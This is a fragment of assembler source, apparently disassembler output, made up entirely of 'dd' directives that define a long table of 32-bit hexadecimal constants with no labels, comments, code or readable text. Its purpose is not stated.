		dd 8C4D490Fh, 2B55414Bh, 0ED4010E4h, 33BD13Ah, 0FC15668Ah
		dd 0DFE0BDD5h, 0C800AEEDh, 597576F5h, 1E207702h, 81C57D5Ch
		dd 0E570081Bh, 2838F4F4h, 0ED44FB00h, 0AAD0A1F8h, 403C1386h
		dd 32C4012h, 0A9F53D18h, 0DF5E9F12h, 0C0729447h, 0AC7E5B10h
		dd 63E4A03Ch, 52130270h, 0B99B1132h, 0F899CC61h, 0ACA03453h
		dd 0C11D4F04h, 0AD5C575Ah, 0F5ABD440h, 5886FAh,	7A2621F6h
		dd 8364BDAAh, 67B9A400h, 0B60FC201h, 9B180053h,	5C14984Ch
		dd 4017B61h, 19F86749h,	68D02B63h, 271C4h, 7298FE90h, 3EF360A2h
		dd 0CF555909h, 53FA87D0h, 0D95FE670h, 0A0AD00E8h, 0E1954844h
		dd 0A10067A9h, 571491B7h, 0F8A6A2h, 0BBA2BD2h, 0CEE17894h
		dd 55B939h, 4E97F252h, 1D9B99B4h, 0C0405A0Eh, 10734548h
		dd 53005D96h, 0D1547F05h, 78285Bh, 0BCCBAD58h, 0D78A19D8h
		dd 0D492B200h, 413C4414h, 2925009Bh, 0EB1A4A35h, 5EC7DB7Bh
		dd 23C09DA4h, 9807A2h, 0A8D7F27Eh, 0AA62AB6Dh, 68A4DE00h
		dd 11A0161Bh, 2772008Eh, 5BB484F8h, 0B162076h, 94404801h
		dd 4F7B2277h, 6E0D002Dh, 0DC96F939h, 237185CCh,	70504300h
		dd 83E31272h, 0B4BF01CFh, 428C13D2h, 0DE0C66Dh,	0D53FBDB1h
		dd 0F002A8A2h, 355D1C00h, 0CD2841EBh, 94D124C3h, 0E1E68970h
		dd 0C9FCE8DAh, 3C2DFD0Eh, 0A24C83B4h, 0C818007Eh, 0CB59B584h
		dd 0E95017F5h, 0FD51C018h, 250A2024h, 8284C37h,	0EF6D5290h
		dd 0FEE6263Bh, 5B3A0056h, 602DE233h, 556B2416h,	5F2768A4h
		dd 1330906Ch, 0C03A88B5h, 0ED105194h, 74002A12h, 3E147243h
		dd 0A9550BD1h, 0A8FABB57h, 2778EB00h, 2B0FEA33h, 92433CFAh
		dd 104D2485h, 0CA580CE8h, 0CB1454C8h, 7530ABC8h, 0C698F094h
		dd 746B4078h, 90A065D5h, 0C314E989h, 904ECBFCh,	1FD742AAh
		dd 9CC491h, 7A3E9D14h, 46003B74h, 3F40D518h, 7323A826h
		dd 641B0071h, 9DA22D5Fh, 2B004A53h, 5403B651h, 87CF96h
		dd 0DD689495h, 31738F9Fh, 0B4343700h, 4D72816Dh, 538800CEh
		dd 80DA7052h, 0A200FD85h, 0C6875041h, 0A71C44h,	0C256822Dh
		dd 13D68F36h, 7B63DA01h, 895EC170h, 695460h, 9EB29026h
		dd 0A771F240h, 4FECE100h, 77931074h, 457F72h, 433AA8B1h
		dd 17CC8A22h, 0E0704425h, 9992788h, 685485FAh, 3500F4D2h
		dd 23B3A8BAh, 24F5B586h, 0AC8061h, 0E6C4A779h, 0C905D82Dh
		dd 8895131Dh, 5ABC34BCh, 0DC14008Ch, 574342Eh, 0BCFAA0B8h
		dd 0C7CFBB2Dh, 609AE44Ch, 124A948Fh, 0A2272C13h, 0C0762DD4h
		dd 273F17FCh, 481D2647h, 0B380BB11h, 13514849h,	0B82BCB6h
		dd 0E0987A11h, 0BF28C5E2h, 6047E004h, 29F3D51Ch, 405CEC2Fh
		dd 0DD5176Bh, 9013C52Fh, 245BF8Ch, 0F15063F8h, 0F4FAF010h
		dd 0F8A8EA3Dh, 9D687300h, 1029427Ah, 0E10B035Ah, 77A28A75h
		dd 0E4A091EAh, 0D921EF69h, 1ABAEFE7h, 442F1140h, 61FCB450h
		dd 95054B04h, 0BC50E8CCh, 9FD72F0Bh, 25C43F88h,	8144E447h
		dd 0C4D2AF61h, 1701FEA0h, 0E5A20B6Dh, 80E6F398h, 0FF1E2770h
		dd 83753Dh, 26537AE9h, 4215B279h, 1B92B105h, 0BCB8A717h
		dd 0A8101F08h, 51132C01h, 0E7F0B433h, 0A593391Dh, 0C744147Ah
		dd 291FF847h, 0C80067BFh, 0FE2BA2EBh, 0A84218B6h, 0A4880597h
		dd 141ED838h, 0EADC38CEh, 0BF00976Dh, 0F9AC24C6h, 2D99E003h
		dd 0FB591EA6h, 341414FCh, 87440477h, 94E3375Bh,	0BC40EC9Ch
		dd 0EAFC8C5Bh, 0D89DEB00h, 11E0D690h, 0D8C754BFh, 0A818B549h
		dd 48310730h, 4E6BF196h, 0F8DACC02h, 8C051C7Ah,	0ABB6E308h
		dd 0ACB804E9h, 2518AF00h, 1FCB373Bh, 708060F4h,	3362305Eh
		dd 0BCBC1B24h, 2719D404h, 80E4DA57h, 4B2D7774h,	9085E2Fh
		dd 642AE1A8h, 749E022Ch, 6C817B92h, 6B5027C8h, 2FF5A807h
		dd 5E703279h, 87465644h, 287D960Bh, 7E04A871h, 10AC4016h
		dd 0ADDB5202h, 0A4D4E08Eh, 0C4486525h, 389C608Fh, 85E437h
		dd 0BDF0F497h, 4BCCF15Eh, 44F9B9C0h, 0F6DC4DA7h, 9C17809h
		dd 29B3141Dh, 0E35E7800h, 62975BE9h, 91E41DA4h,	0C7E6819Ch
		dd 0EC20E505h, 0A0674BCFh, 19B5E92Ch, 0BA1078C8h, 0F677D9FBh
		dd 1018384Dh, 0E07AB133h, 0FB81044Ah, 87F3C877h, 0A849E5CCh
		dd 8BDBC8C4h, 0C0509B11h, 5CA5100Fh, 41289853h,	0F824BFBAh
		dd 82B0C048h, 0BE1C636Bh, 4700E602h, 3282BCDh, 38009FC7h
		dd 2E94F080h
		dd 0BC809B5Ah, 0FA61D9C3h, 6B934004h, 0CB9328A3h, 2DEF36D8h
		dd 54E2D74Bh, 0E2561E75h, 0AFA80127h, 0A0AA2BD4h, 0E320B4D0h
		dd 20509826h, 1505A54Bh, 0F42AD51h, 160BB0E9h, 3C0B40E4h
		dd 61359CDAh, 14B4F090h, 406B28BBh, 94F1506Ch, 2FB10968h
		dd 0CCF037B7h, 0D4114B0Eh, 132E8751h, 7E096B6h,	0A770147Dh
		dd 95DB444Eh, 0D7480E8Ch, 37C20E90h, 932790C4h,	5F176444h
		dd 0DB403D49h, 4740F06h, 126B713Ah, 0BDB72CB2h,	20D73978h
		dd 14131FCBh, 0A4F8AA3Fh, 27CC0EA8h, 9669CE42h,	8670C45Bh
		dd 0F9FE6D9h, 0EAB2A3FBh, 0E703C681h, 0C0492B9Ah, 9F80F004h
		dd 0AB0330B7h, 0D8085D72h, 61C7E32Eh, 0E4B858EBh, 0B7FC27A3h
		dd 94806575h, 0B53D5C8Dh, 800ADC07h, 0A0E8B491h, 58C9CD1Ah
		dd 3784A789h, 49221B98h, 0C4AFF1E0h, 0B0A89777h, 3141CF5Ch
		dd 57A5E8DFh, 6198C9D7h, 0B84EC072h, 96809C9Bh,	143AA01Fh
		dd 2CC4181Fh, 87701A98h, 79CC8155h, 15700A4h, 49848983h
		dd 1B0D001Ch, 690F557Bh, 0AC1CDBFDh, 5CC79463h,	580B07CBh
		dd 8BF24E6Ch, 0C09DC81Ch, 5C579653h, 78FDA202h,	5DA4299Eh
		dd 0A591609Dh, 1B2E1881h, 2AB7E973h, 0B834F430h, 0F6880035h
		dd 8FF5A32Fh, 0DC004263h, 0D81F145Ch, 762301BEh, 73C008CDh
		dd 46749622h, 2B7B00B8h, 5FBCF163h, 506895CFh, 8B0FBAE0h
		dd 2F063A99h, 59964BD8h, 71CD590Ch, 10DC50A2h, 0B101FFC9h
		dd 7619327Eh, 23AA12Eh,	8A2C4F88h, 9E2A4911h, 5953C908h
		dd 0E1C080A0h, 47AD69E2h, 9229596Fh, 9CC8608Bh,	224594C0h
		dd 2E9201D2h, 573C1C7Ch, 11B88256h, 57BE07DFh, 0F72CC001h
		dd 0E2546310h, 0A5363098h, 977D632Fh, 808311B4h, 6566B4DBh
		dd 0F19707B9h, 9943B711h, 51BCABh, 7C544944h, 8C83E8h
		dd 2644372h, 32C5EEB8h,	28837704h, 0BAA6C0Fh, 245B1620h
		dd 57716A9Ah, 6B011CB7h, 0A3F3BE88h, 45E7Fh, 2B58E3Eh
		dd 560074B3h, 0A905F97Bh, 9D13BF11h, 1076B812h,	6C164E41h
		dd 0C4D047D2h, 0CD2960BDh, 48C7028Eh, 0A90EA742h, 0D1E0A063h
		dd 0CB12442Dh, 64F1C00Fh, 5E9B10F0h, 0C03CDA72h, 0A7854637h
		dd 0A21F30B4h, 0A87068C8h, 4A407C96h, 0AF989C6h, 88AEBF6Fh
		dd 408708B0h, 0B3BD093Fh, 0A4BCF9F4h, 2AEF0894h, 2508462Dh
		dd 8CC81799h, 0B320CCAFh, 461800C6h, 102D1193h,	5C25F1D3h
		dd 0CE9C6D21h, 65F91B61h, 4CB6F832h, 0CDE63C01h, 23815C0Fh
		dd 894F4908h, 45A56C47h, 481C87Ch, 5154025Fh, 5ED8F419h
		dd 6EB8A906h, 0C77111F0h, 81A6E628h, 0E5FA4840h, 18829C7h
		dd 0C6FE0B4Eh, 5441F7C0h, 6B1254h, 0E1BB5184h, 0E00BCD4Ah
		dd 78185EF1h, 0E99A0F64h, 0F336173Bh, 309EB2A0h, 95CF7A5h
		dd 1A4904F0h, 94B41199h, 0FE8E02E1h, 17CB57D5h,	9D25D876h
		dd 85BA11D8h, 0E0028935h, 7CA6B0F3h, 0FA48F424h, 83733C25h
		dd 17CA8029h, 38995876h, 1783C310h, 4C20E886h, 61A30328h
		dd 1E4E18B4h, 0A22E1097h, 8A2730CDh, 61F9F141h,	522D9825h
		dd 4DCF2AD0h, 1B7800D0h, 0D3886C8Fh, 0EB0092D9h, 0CD47CC41h
		dd 9DAEF417h, 0BF912C9Dh, 317A0283h, 6EF829E8h,	147B8101h
		dd 0AB133537h, 806C9B2Bh, 20C2847Dh, 4DF204C5h,	0AB1F3CA5h
		dd 92B4D415h, 8FF290B2h, 7E82F030h, 6D943059h, 0C8A22A3Ch
		dd 9D531B13h, 602FA044h, 0A448E0F9h, 0A93AE712h, 452E116Ch
		dd 9F1D127Bh, 0B8D8FD1Ah, 2DB20002h, 480E6415h,	20A027A2h
		dd 3C13C7C1h, 0A8A8C695h, 7337E7C0h, 0B75BA5F0h, 788E5094h
		dd 64C08388h, 0AC2370h,	0DD103A54h, 499EB812h, 7906B22h
		dd 0A71D85CBh, 0C35EB419h, 7E4B420h, 0CCE29209h, 48EC4076h
		dd 0DC975488h, 197E0022h, 6890E230h, 6D00FB14h,	6B24D537h
		dd 24A7CDBFh, 32D4016h,	110B5830h, 5CFF7400h, 0B7B594C3h
		dd 0BCAA0401h, 0D27FD72Fh, 2CDE1F98h, 88E9CF45h, 34859900h
		dd 0ABDDDB9h, 9E3FC500h, 0EBE2D581h, 0CA6F215h,	52CCE658h
		dd 16016431h, 2E349CB9h, 7CDC23BDh, 0B09E387Eh,	0C7D06F82h
		dd 9A55FE83h, 50507B50h, 1F00B593h, 58F78F1Dh, 251B2834h
		dd 48A2BCEFh, 0A0818220h, 0D6B48FFBh, 4D50FC58h, 0F4ACC588h
		dd 9004E976h, 92C3FB28h, 0F41704D2h, 84BC4AE8h,	0EDBF2984h
		dd 0C0825EDCh, 0FCA2159h, 0C126E54h, 9BE72804h,	698A6806h
		dd 0A72C130Bh, 1F04785Dh, 1A09C30h, 0E7909B05h,	0CCC1D168h
		dd 913AEA53h, 0F9951650h, 0A100E8A3h, 9B4474E1h, 530E4891h
		dd 40CC50EBh, 4397D5B8h, 0F574E8h, 0CF164042h, 0B18A6744h
		dd 29585D33h, 182140B0h, 49C96140h, 6B50A8C1h, 4BD05436h
		dd 23E42F28h, 9A1600BAh, 141270A1h, 51328727h, 189BD9D4h
		dd 21DB4E3Dh, 0FCC2D7FCh, 94B574C1h, 10324344h,	0FEF2AB7Fh
		dd 0C4B8451Ah, 110460B8h, 164F1F1Fh, 0BE91C750h, 27DF91E6h
		dd 922C2494h, 0FCC412B5h, 0CD02DCFCh, 0A5087067h, 4568D641h
		dd 794ED88h, 343C6D56h,	0B3220CF0h, 0D2590BFFh,	4804E9E7h
		dd 87524072h, 0E0B1C4h,	0AAD116FDh, 91EB41A7h, 544497h
		dd 821B2DB5h, 1AAB341Ch, 0AC06102Ch, 1FB84674h,	0E41EE9A6h
		dd 0F4B25F93h, 0AC35007Ah, 0F7E2EBBCh, 410E05AFh, 89BBC27Ah
		dd 4F705407h, 3BE8B576h, 0BD88BC8Eh, 47F3CFC0h,	96E4EFCAh
		dd 12979872h, 1B7031Bh,	6129E710h, 7A905440h, 0EFE0034h
		dd 0F31C06FDh, 969EAF6h, 8D2F2B2Eh, 4676C0D6h, 5500775Bh
		dd 0E6661D8h, 0B32AA2B6h, 2F780274h, 0F45CD4C6h, 0BC90F017h
		dd 17298F03h, 0BB269Ah,	0F6DB2F8Bh, 0AE00CE68h,	0C52E3CA6h
		dd 27241DE1h, 14EA35B7h, 1548A077h, 78C8A857h, 9845B558h
		dd 0F2609AE4h, 1E09618Eh, 0F99EE014h, 189ED938h, 0B36D00D8h
		dd 4B1D09E5h, 2A252FE7h, 0F16851B8h, 71185Ah, 0E66323F9h
		dd 0BC5935E7h, 149C14B8h, 0D4F800DCh, 8103AF50h, 3B27B72Fh
		dd 0A1B4E5A7h, 188371A0h, 15EEAF1h, 0DF5ACD1Dh,	2065FBD4h
		dd 0A62714F8h, 806CB723h, 5E277F17h, 54142FE6h,	0E206B51h
		dd 0D6FAE50Bh, 0A43CA8A1h, 488C83BCh, 0A0FEF6Dh, 0B4F790BCh
		dd 320FA110h, 2003CD70h, 479F43DCh, 0FEB77DF1h,	0FF141213h
		dd 0A1401658h, 0F2A06378h, 0DF08308Fh, 0A00E2F00h, 0A13E84D2h
		dd 20F4907Bh, 0BA048D77h, 0EFDEA7FDh, 55B2FCC7h, 510D118Ah
		dd 3A443B84h, 1CDF7488h, 8097D43Fh, 0BE3CD363h,	7F0BB1CDh
		dd 9115A1FEh, 30796964h, 1A180100h, 4350F1B1h, 177FA602h
		dd 5F49CB81h, 4C29B000h, 0B0A7D67Dh, 3C608F44h,	1B00BA62h
		dd 749CEF08h, 5488E510h, 0EE0B491h, 516E4738h, 6C3DA2A0h
		dd 0FDEA1DFAh, 3C4C612Ch, 0E819E7DCh, 5C2695D2h, 0E1AD180Bh
		dd 9900BC20h, 0D499DF52h, 0D448F449h, 0E14B951Dh, 8C566BC0h
		dd 0DCEBA799h, 1C15068h, 0C915E46h, 0C22ACA9Ah,	884948A8h
		dd 52D87097h, 2F2DEC88h, 100E632Bh, 0AC1CBD76h,	714907D3h
		dd 0CF86A15Eh, 8C9CE890h, 0A0AD8905h, 0ECA8AB67h, 0BCBCBCB5h
		dd 0AD008C82h, 9B0F2366h, 182FF25Fh, 58A653DFh,	0B66443F3h
		dd 10CB0E80h, 40C1B9C8h, 0B2715AAFh, 88463430h,	0EC5D2FCAh
		dd 32E0B34h, 0E058E3EFh, 0A0CFF12Bh, 16EB7E68h,	0B809586Eh
		dd 0FE5E20C8h, 449297CFh, 2270387Bh, 8C9200C1h,	0B6B59E9h
		dd 2450A223h, 6801113Ch, 58E1218Eh, 182CDC2Eh, 0F21CA297h
		dd 6495308Dh, 0DD578700h, 4DB6D00Bh, 0B16C4A0Fh, 0C8F4D67Ch
		dd 156025DEh, 1D0ABC50h
		dd 8CEB8A68h, 26361F00h, 99BFF196h, 5955833Ch, 0AB808338h
		dd 51E7A74h, 3549EE2Dh,	2518D6F0h, 2170307Bh, 0AFFF19F5h
		dd 0E76888F4h, 1362711Ch, 7423EC04h, 0F8B92783h, 411A876h
		dd 9DD3A12Bh, 0C030FE18h, 50AB5C1Dh, 945F02Dh, 56E158D0h
		dd 0F640D85Eh, 2F2408h,	0CC6F9305h, 0E0B853Dh, 111A5100h
		dd 77A2499Bh, 3181FF6Bh, 7D3EB9A1h, 0ABCF7086h,	14F94209h
		dd 354B7EAh, 0ADF0E301h, 6EE2F907h, 0BE83842Dh,	2EA3F036h
		dd 50C4B59Dh, 38037DF4h, 342AAB16h, 4B96C9BCh, 2E3A8C0h
		dd 2EFB4D9Ah, 7C41487Ah, 5E47317h, 9EC7E390h, 285E0800h
		dd 90FCDCCh, 91AFDF11h,	5B20AC5Ah, 2FDCF237h, 9022CB93h
		dd 0DCDEA895h, 696BE601h, 0ACC9B9F3h, 67169980h, 26EB37FCh
		dd 20188604h, 9D8164F6h, 0B03C93A5h, 8C8DBCh, 55949F1Eh
		dd 1070B675h, 2317512Dh, 0C8FB4658h, 0B2AF3C95h, 20B0928Ch
		dd 907EA484h, 953FC422h, 1BC09C4Dh, 799AC44h, 0C350A5C9h
		dd 10A2D2CEh, 0F103466h, 0FE0F86ACh, 89AB424Eh,	7F0328DAh
		dd 0ED0CCA95h, 617CA0A5h, 731C016Bh, 14991D45h,	0BC2992A7h
		dd 5A104821h, 5C48207Bh, 9402F1B5h, 6DEC3FA6h, 0EFC0F734h
		dd 3890E344h, 2D30953Ch, 5C509017h, 5BCF01A8h, 9521401Ah
		dd 18022C8h, 482E866Bh,	5061ECDFh, 0EC16A404h, 81BC44A8h
		dd 6130008Ch, 0EECD47B5h, 4C4B808Fh, 2810E0CBh,	0A2E51DF2h
		dd 0E034AE40h, 0BCB72C93h, 0B4440168h, 2F47F0ACh, 0BC23C46Bh
		dd 4B9C900h, 9AEE6B3h, 4C8B3328h, 791A10DEh, 0F0F493C6h
		dd 0BC54D32h, 0F3148BBBh, 747A7000h, 31C9B6D1h,	13E0789Fh
		dd 0F83BFBC0h, 0E9E50D84h, 0B40071DBh, 93A43C3h, 0B413E45Dh
		dd 3BF05053h, 78FE07ADh, 75C7A535h, 23CC3EA9h, 0EFA10182h
		dd 0E465B85Fh, 0C64A951Fh, 22997847h, 54CF792Ch, 701D44Eh
		dd 76A94D7Fh, 69C300D9h, 9D047D89h, 0A50F3056h,	770C0FC2h
		dd 0C8045C8Bh, 0D45FFFDFh, 608CC0CBh, 0B44B036Ch, 80C44250h
		dd 40F4040Bh, 0E7712700h, 0E64978F2h, 679DC058h, 0F0B06E0Eh
		dd 7BFB1328h, 69CADB3h,	99CFE32Eh, 7A650210h, 9E0F2BC0h
		dd 7E5C00Eh, 5529706h, 155147DDh, 0F2C45765h, 5FC7007Ch
		dd 9D66B34h, 0A47304DDh, 0C169264Eh, 1C1F778h, 3982AB22h
		dd 1051E72Eh, 5080905Ch, 7E6B44CCh, 808B0043h, 0D9C34AC4h
		dd 0E6000AFEh, 887176E1h, 50ED29h, 0D72E5C89h, 9B2C2FCDh
		dd 0B87480AAh, 1C7E1182h, 0F020D514h, 0F0C0BE95h, 53B72F12h
		dd 1199C446h, 9D917779h, 0CD4A8C60h, 0E415ED02h, 0E23C1D40h
		dd 6EE05C2Dh, 892700D1h, 593F04DBh, 49E061F3h, 2B6FE3B6h
		dd 92691881h, 64BA5017h, 5001E9Dh, 0C7E56855h, 0DEBF3BE3h
		dd 2C1DC428h, 6878E85Bh, 0A032EDA0h, 91F45E15h,	0BE5A02B1h
		dd 69E437C5h, 0AC4193B8h, 1301AEC3h, 2F784024h,	965D8BCFh
		dd 78A34EF8h, 6ED7C10h,	94DC0F42h, 0F8F16048h, 0BE32DD0h
		dd 0E0988962h, 5C4C72h,	1A3E1B71h, 5B89FD6Bh, 4C7F7012h
		dd 0D64B6609h, 0C9C06074h, 75E43431h, 49D65812h, 9BC88C8Eh
		dd 7C114DC0h, 0A0701314h, 0AC10EDEAh, 674FEBDh,	9094B82Dh
		dd 0ED9F480Eh, 0D16664B0h, 6380716Ch, 3082A26Ch, 8A01D2BAh
		dd 2956FD61h, 686340FEh, 1001F02Fh, 2F82794Ch, 0A1AD0C1Fh
		dd 10A1E4A4h, 0A204522Ah, 431D046Ch, 4EF7F34h, 0F8A3DF21h
		dd 299F12FCh, 9A8904BCh, 0AF27E0E6h, 7640A9BCh,	8F780130h
		dd 2533132Eh, 5CC5E448h, 0A09F44B8h, 0E62E58C0h, 96801BCDh
		dd 49C708E7h, 19320CDCh, 79DC79F9h, 4B5D1898h, 0D4DCC844h
		dd 0C849BC00h, 3E4F6575h, 50360003h, 0EE6A8F02h, 97363E3h
		dd 5CE880BFh, 0CB1599E0h, 0D00391E9h, 0B858F04Bh, 71B869DCh
		dd 49F04498h, 82A084B6h, 0B46BB909h, 36ACC8FDh,	0A00067Eh
		dd 3AEBC42Ah, 0F05995CDh, 0CF1309FEh, 0AC24E13Bh, 1C9147ADh
		dd 0C70F3340h, 0F55B026Dh, 77E9D534h, 3E037DDh,	1D5AAFA2h
		dd 4C351BB0h, 0CB44090Eh, 10A0731Fh, 0BF2909F0h, 0E0D6C0F7h
		dd 941942h, 9FE02FC8h, 432C9C97h, 0D49A4A45h, 84445B80h
		dd 0B12546FEh, 1018E50Dh, 2CCAD29Fh, 92C0BFC8h,	16C7C617h
		dd 0FC12DC49h, 330B1080h, 8078CC2Eh, 0E35261A4h, 0FB7630C9h
		dd 8BFCC301h, 9A6B16A7h, 944DE450h, 0CF6D0013h,	4C640DE6h
		dd 0BA008B0Ch, 0FB0AF00Bh, 0A047F2A1h, 819618A8h, 0C0885BF1h
		dd 488C7D69h, 32DC2D44h, 0D776CC64h, 0DA51CE00h, 0F96F1650h
		dd 17CB1C61h, 0F2707098h, 0C32FCC4Ah, 1120170Eh, 0DA7D80BFh
		dd 12DB814h, 1C77D5EFh,	4724873Ch, 97633294h, 30704CFBh
		dd 953409B5h, 947A095Dh, 983AA645h, 0EC0F6698h,	8702A48Bh
		dd 318CBBFh, 480B14A5h,	0E8A2885Eh, 54299203h, 60A8E739h
		dd 1D0C58D3h, 2851375Ch, 4BE00B14h, 5C7044E1h, 98751103h
		dd 4ACFC0h, 5BAC7241h, 0D867BABh, 253C0402h, 646B5CFFh
		dd 0E131001Ch, 55418C4h, 9A5CF0A3h, 0A4DC4F0Ch,	111800E3h
		dd 527602EDh, 7258DF39h, 8C81EC4Ch, 927ABAFEh, 0D76C5C1Fh
		dd 0D8E489D2h, 7ADE07Dh, 0D36D7FECh, 0F94360C6h, 1715CCC8h
		dd 6C802Dh, 0B595BADEh,	0FBDCB3Ah, 0F1ED2189h, 569CCA24h
		dd 2F80B8ECh, 0EB47B7CDh, 7375F601h, 611C3D0Bh,	4CE5D0h
		dd 247817C8h, 0F9690503h, 5344B312h, 2CFC9C52h,	4B40BCD2h
		dd 3910A48Ch, 0AF845DEDh, 0B1E66B4Ch, 74302FF4h, 433B744h
		dd 1DE3DF2Eh, 0FC56EA14h, 7AF68000h, 4AD1EC50h,	0DBB05790h
		dd 45BD85D0h, 99E4E4C1h, 69FB2E00h, 0CCB3DD4Fh,	17305DB2h
		dd 8C3A01D0h, 0BB975AEDh, 94302F43h, 948BE390h,	0B4FAA7ACh
		dd 2B182DF4h, 0F1998BBh, 0C99B4B14h, 0BC143C24h, 3F1F8C83h
		dd 0DA8153ACh, 0D3E32832h, 116027FFh, 97BA4090h, 0EF1C7C0Fh
		dd 0B0802065h, 92D51DAh, 7BC33766h, 766BF0D6h, 221ED428h
		dd 2613C22Eh, 0E5254A4h, 95AEA1E9h, 88C0B622h, 0A6EF2876h
		dd 98C9EAC7h, 0E05408B8h, 1380A3F0h, 15C58816h,	0EDE50023h
		dd 7CAB613Ch, 40E0F665h, 0A738939Dh, 40047E7Bh,	58B12F19h
		dd 5CAFD90Eh, 1177E08Ch, 3B104379h, 0B9BFCAC6h,	0FF03734h
		dd 0EDF27A20h, 1B8C4h, 4DF98737h, 71951060h, 0CBFB283Ch
		dd 0DBCC7009h, 5C982428h, 8B00BD46h, 5133B6A5h,	0DB258F71h
		dd 0B06416h, 60A91F21h,	0E9ED3C0Ch, 0A35C5E00h,	48D00215h
		dd 0C0FC03F1h, 1949E65Dh, 7CC0F093h, 201FE43Eh,	2E0058E3h
		dd 0FD21487Fh, 0D9E84E69h, 0AC782CB0h, 0B1018C9Fh, 5365C8D9h
		dd 44602BF6h, 0F20F8394h, 7269CEBEh, 0E44B84E2h, 90A42F00h
		dd 9DC508A0h, 26141388h, 91F44ABBh, 0B811015Dh,	544197ADh
		dd 2148CB3Ah, 54DA610Dh, 0A4A0DC30h, 51605C82h,	8C190B48h
		dd 0A0C929E1h, 0F97E1821h, 70E149D2h, 4060302Eh, 2F09511Dh
		dd 91C5E7BFh, 0DC3EDF88h, 0AF43C4B8h, 0A078A64Eh, 256120E1h
		dd 1CE532BEh, 0B6D2A110h, 0FC09A01Ch, 52BB3DE1h, 56A6A0BDh
		dd 900AC5Ch, 90534E9Fh,	0DE529980h, 5C7D181h, 3BE9325Ah
		dd 8016FED3h, 0BFB8A8FDh, 0FDA7E107h, 47424B84h, 0C01875DBh
		dd 1F03566Bh, 0EDE4EBF5h, 0A791A046h, 2CB31741h, 54C8B067h
		dd 9957890h, 0DCD87E20h, 0CC8BB300h, 9ECD744Eh,	7FAA03B8h
		dd 0FA2CE10Bh, 2EDFE3C9h, 726BD840h, 95E86045h,	0D72FB490h
		dd 44095F4Fh, 5270D61Dh, 9B0B57Dh, 6C01F6C5h, 0F8EE8476h
		dd 7F5C1D95h, 0C7B7188Ch
		dd 9FC54469h, 9BC4B067h, 7A577A61h, 0B8D7C88h, 0B2A8E5D1h
		dd 92532802h, 0D0811A05h, 442E5D73h, 2A2F3D4h, 0E8E82B13h
		dd 99CF95E4h, 89E92ECh,	244296ECh, 0D711215Fh, 3F9425FBh
		dd 0EBB7E881h, 781FCA00h, 44449B4Bh, 0A0CE9482h, 0F6C1BE88h
		dd 0F0CB5552h, 0B88C405Ah, 4490453Ch, 0A54C01C4h, 555B3Ch
		dd 0B188102Fh, 19BBD184h, 989CD6C0h, 0C25D20FCh, 47409095h
		dd 0EAB703Eh, 56D910C0h, 0B2CDF000h, 0A0A2284Ch, 0D344AB7Fh
		dd 0F09870A8h, 8F6B4FF2h, 0E4E8E540h, 4E3F6087h, 0C8ED5E5Ah
		dd 0C600FA54h, 0A34980DFh, 98227E6h, 0E9873C7Eh, 3BCF7830h
		dd 0E0A7C04Eh, 0AC90BB2Fh, 7F4C4D95h, 61B10482h, 40FB016Fh
		dd 10AB5284h, 1A2DD926h, 589073EAh, 7C0ABD58h, 4C0528E1h
		dd 8CB9CF44h, 33BF493Ah, 7CD9F7AFh, 15368880h, 4BBF9350h
		dd 0C8D08CB4h, 0A89C1F17h, 0ABE3CC45h, 583018E1h, 84997CC0h
		dd 54067244h, 2938F1h, 46F4D196h, 981E7680h, 116F1B07h
		dd 1270552Bh, 58A23294h, 17898427h, 0E013CC70h,	2CACE148h
		dd 0AD76E38Fh, 625E006Ch, 88A6B27Dh, 541100BCh,	0CABD9DD1h
		dd 242F0BFAh, 0C464F9h,	0EBC7C8BEh, 4C018477h, 973DFA3Fh
		dd 95023471h, 7A16511Ah, 0FEF10044h, 6B10D5FFh,	0CC5B272Bh
		dd 9BF018B0h, 284101F4h, 35BAD31Bh, 0ECC42F04h,	88748FAAh
		dd 71A0CF83h, 0F470E05Eh, 0DC4A6600h, 5DFDC094h, 0AE1804D7h
		dd 0D4072B28h, 0A431EFB4h, 0B844BC2Fh, 0B9F457BFh, 2D6B82Ch
		dd 0CF8D6D66h, 0F8783F90h, 0D1DF2F2Dh, 0F5C0958h, 83A66425h
		dd 4104FFACh, 0E2CD4A9Dh, 0A6D7ECB9h, 0D575A0A0h, 0DB2B00C8h
		dd 14AA3829h, 10067168h, 6BA48BDDh, 0DCE4BC70h,	80E6290Eh
		dd 62407DEDh, 1C1786ADh, 78234C9Fh, 0BD88E881h,	0F9909F75h
		dd 6D501D89h, 6DD1C0ACh, 90B76A51h, 2F609708h, 0A4511D68h
		dd 837164A1h, 98773518h, 0CD99EE01h, 58C3B910h,	0B398C03Fh
		dd 0D0AADF5Ch, 5F0E7859h, 6A28602Ah, 180521A7h,	120F0439h
		dd 4CBDFC27h, 844D9504h, 4A992140h, 0E5F10C18h,	7E09D93h
		dd 478A101Dh, 0E2175CC9h, 38C5690h, 0DF266C5Eh,	0E0CD4C0Dh
		dd 8030B82Fh, 4429CE6Bh, 72C020B3h, 99009B23h, 3C4AF69Ah
		dd 979003h, 0E24B5C26h,	8DB96251h, 0F750ECEEh, 2A2299D4h
		dd 1038BCAAh, 14130BBFh, 408C7C9Bh, 42CB3C1Dh, 4793D49Ch
		dd 6E5BD8B8h, 51007A30h, 2686AFF7h, 0C4EAFDC8h,	1D5F23D0h
		dd 4899CF84h, 2CE818C4h, 8C86BCh, 11068128h, 0BC826A7Dh
		dd 0B89DE132h, 4468C793h, 0FF7E608Ch, 4AB01E23h, 798C95Ah
		dd 0DCC13CF4h, 1502B33Fh, 3A8039F5h, 40DA7B0Dh,	0CC698082h
		dd 0E607C864h, 0FF9AD52Ah, 711CA180h, 533814D9h, 0C710D028h
		dd 0EA451C30h, 0C0A8CD67h, 0A54B56DEh, 95E52000h, 0FDE0E2B6h
		dd 0FCC09589h, 3C5E07C8h, 74BF84C5h, 302BFF80h,	0DA015A23h
		dd 0A0C3DC79h, 98C106C0h, 0C49B209Ch, 9294F317h, 31B184A8h
		dd 0AD880127h, 3F081982h, 7FE14F67h, 0A2E433A7h, 0E3F930BEh
		dd 9DCF0B00h, 99200C04h, 9DDC4B52h, 0A884293Ch,	0B6463967h
		dd 0DA4D5207h, 0C021646Ch, 5DE0C0FCh, 731618B0h, 8B9D041h
		dd 0FB003BB8h, 0E14DBD3Ah, 6BE95E7h, 4148FDC2h,	0E84A29A6h
		dd 0B45024F6h, 2B58410Fh, 70A22874h, 1D3087B2h,	0E50B0148h
		dd 3C5C277h, 3F547C9Fh,	6D0E2FEBh, 61376058h, 86121CE7h
		dd 0ECEC46CBh, 0DB97B780h, 2F0B7F3Eh, 0E9D7A3Ch, 3500D755h
